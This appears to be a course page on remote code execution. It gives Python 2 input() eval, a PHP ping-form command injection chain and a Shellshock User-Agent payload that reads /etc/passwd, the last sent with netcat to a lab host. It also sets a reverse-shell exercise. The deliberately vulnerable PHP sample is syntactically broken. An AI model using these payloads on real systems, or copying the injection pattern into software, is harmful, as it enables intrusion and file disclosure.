Skip to content

What is Code and Command Execution

First we will examine the concept of Remote Code Execution (RCE)

RCE is a type of exploit where the attacker is able to execute commands on the target machine. For example raw user input is executed by a program on the system (for example the PHP interpreter).

Depending on the types of command that can be run, the severity of a RCE attack can be major, with the attacker able to gain remote access to the target server.

Note

It may also be known as Code / Command Injection. (For example by OWASP1)

Examples of Code Execution: Python

A Classic example of a code execution flaw was found in Python2's input function2. This would take whatever the user supplied as data, evaluate it, and return the result.

>>> out = input()
"Hello World"
>>> out
'Hello World'

It would also allow us to do useful things like calculations.

>>> out = input()
2 + 2
>>> out
4

However, the Major flaw here was the evaluation of the code. Behind the scenes python would execute whatever was input and display the result. This would allow us to run system commands, (or do other interesting things)

For example

>>> out = input()
__import__("os").system("whoami")
desktop-kjdvq2j\dang
>>>

Task

Can you use Input to create a shell?

  • HINT: look for python one liners...
  • HINT2: Pentest Monkey....

Note

To me, the Really scary thing about this input flaw is how it gets used in many beginner tutorials.
(Without Any Real Warnings about it)

For example:

  • https://www.geeksforgeeks.org/taking-input-from-console-in-python/
  • https://www.askpython.com/python/examples/python-user-input

Additionally, the safe version raw_input has been renamed to input for python 3. While I appreciate Py2 is end of life, it is still heavily used.

Code Execution Example: PHP

We can see a similar problem in PHP. Dangerous functions include:

  • include()
  • eval()
  • exec()
  • system()

If we allow the user to supply unsanitised input to any of these commands, then it is possible that RCE could occur.

Lets imagine the developer is writing code that allows us to check connectivity to a remote server.

The Linux command we could use for this is:

ping <target> -c 4

PHP Code that allows the user to run this through a form could look like this

<form method="POST">
  Target:  <input name="target">
  <button type="submit">GO</button>
</form>   

<?php
$target = $_get[target];
system(ping $target -c 4);
?>

As there is no sanitisation on the input an attacker could abuse this function to execute commands. However, in this case we have a little bit of a speed bump in that we cannot just execute the command directly, as our input is part of an existing string. In this case we need to do a bit more work to get our command to run.

  • Step 1: Using just the command

    If we just use whoami as the input we fail as ping whoami -c 4 is not a valid command.

    We therefore need to find some way of ending the ping and starting a new command

  • Step 2: Using & to run multiple commands

    In linux the & symbol can be used to run multiple commands. It tells the operating system to run the given command in the background.

    If we change our input to be bleh & whoami The following happens

    • The ping bleh command starts, and trys to talk to bleh (We use a non existent site to avoid issues with a permanent ping loop)
    • the whoami -c 4 is executed (and fails as there is no option for -c in whoami)
  • Step 3: Removing the arguments

    We still need to remove the -c 4 argument. Again we can use & to break up the command

    bleh & whoami & -c 4

    • As before The ping bleh command starts, and trys to talk to bleh
    • the whoami is executed (and displays our user name)
    • -c 4 is executed (and fails, as there is no such command)

    Once we clean up the input enough to find the right way of running commands, it is simple enough to modify the payload to do something more useful (like drop a shell).

Example: Shell Shock Vulnerability

Shell Shock CVE-2014-7169 was a flaw in the Bash shell, where attackers were able to execute code in a bash environment through environment variables. The CVE itself had a risk rating of 10/10 as the attack was easy to perform, and had significant consequences.

Note

One of the interesting things about shellshock is it was present from the very early days of Bash. Meaning it had been "in the wild" for about 25 years before getting discovered.

While Bash is not commonly used to produce web sites, it is very common on the web server itself, and applications may make use of bash or environment variables to perform tasks though CGI (Common Gateway Interface) scripts. CGI scripts are where the site will run a system command (for example to get the uptime of the server) and make the output available to the browser.

Exploiting Shellshock

To exploit shellshock[] we need a server that has some CGI functionality available.

Lets imagine we have a site that shows the system uptime via a CGI bin request.

The command that runs on the server could be something like

#!/bin/bash

echo "Content-Type: application/json"
echo ""
echo '{ "uptime": "`uptime`"}

Now while the command doesn't take any input we can still manipulate the environment variables to get the exploit to trigger.

Each time a request is made, the local environment variables are updated with the HTTP request headers, information like the user-agent, or cookies are stored, and used to process the request.

This means that the system is vulnerable because:

  • Shellshock is based on the incorrect processing of environment variables
  • The User agent is an environment variable
  • We know we can control the user-agent string

So how does this work in practice.

  • We add our own variable (for example user-agent) to the HTTP header and set its value to:
    • A String to create a new function definition in bash () { ;: }'
    • The command to to run echo \$(</etc/passwd)

This gives our final payload as something like

User-Agent: () { :;}; echo \$(</etc/passwd)

Which we can try out in Netcat to view all the users on the system.

dang@DESKTOP-KJDVQ2J:/mnt/c/Users/dang$ echo -e "HEAD /cgi-bin/status HTTP/1.0\r\nuser-agent: () { :; }; echo \$(</etc/passwd)\r\n\r\n" | nc 192.168.253.134 80
HTTP/1.1 200 OK
Date: Thu, 05 Nov 2020 13:14:13 GMT
Server: Apache/2.2.21 (Unix) DAV/2
root: x:0:0:root:/root:/bin/sh
lp: x:7:7:lp:/var/spool/lpd:/bin/sh
nobody: x:65534:65534:nobody:/nonexistent:/bin/false
tc: x:1001:50:Linux User,,,:/home/tc:/bin/sh
pentesterlab: x:1000:50:Linux User,,,:/home/pentesterlab:/bin/sh
Content-Length: 175
Connection: close
Content-Type: application/json

Note

Yes its a crazy string, You do not need to remember it. But its pretty cool that it works.

Note

We will see an example of this in the Lab tasks

Summary

In this section we have given an overview of remote code execution and seen how it can occur in different languages.

Now we know how RCE can be used, we need to find a way of getting this kind of code execution to happen.

In the next section we will take a look at file include based attacks. Which are one way of getting malicious code to run.


  1. OWASP on Code Injection 

  2. Python 2 Input Function NOTE: I am really surprised this doesn't have a BIG RED WARNING attached to it. Troy Hunt on shellshock 

Back to top